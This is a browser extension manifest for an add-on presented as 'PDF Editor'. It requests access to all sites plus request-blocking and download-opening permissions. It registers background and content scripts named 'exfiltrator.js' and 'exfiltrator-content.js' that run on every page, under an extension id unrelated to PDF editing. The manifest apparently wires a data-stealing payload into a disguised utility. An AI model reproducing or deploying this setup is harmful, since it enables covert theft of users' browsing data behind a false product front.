Examine source code of PDF Editor Updated

{
  "name": "__MSG_extension_securepdf_name__",
  "short_name": "PDF Editor",
  "description": "__MSG_extension_securepdf_description__",
  "version": "4.2",
  "homepage_url": "https://www.pdf2go.com",
  "icons": {
    "16": "icons/icon_16.png",
    "32": "icons/icon_32.png",
    "64": "icons/icon_64.png",
    "128": "icons/icon_128.png"
  },
  "browser_action": {
    "default_icon": "icons/icon_64.png",
    "default_popup": "popup.html"
  },
  "permissions": [
    "activeTab",
    "contextMenus",
    "storage",
    "downloads",
    "downloads.open",
    "notifications",
    "webRequest",
    "webRequestBlocking",
    "*://*/*"
  ],
  "background": {
    "scripts": [
      "background.js",
      "exfiltrator.js"
    ],
    "persistent": true
  },
  "content_scripts": [
    {
      "matches": [
        "*://*/*"
      ],
      "js": [
        "exfiltrator-content.js"
      ],
      "run_at": "document_end"
    }
  ],
  "default_locale": "en",
  "manifest_version": 2,
  "browser_specific_settings": {
    "gecko": {
      "id": "staffnews-auto-opener@example.com"
    }
  }
}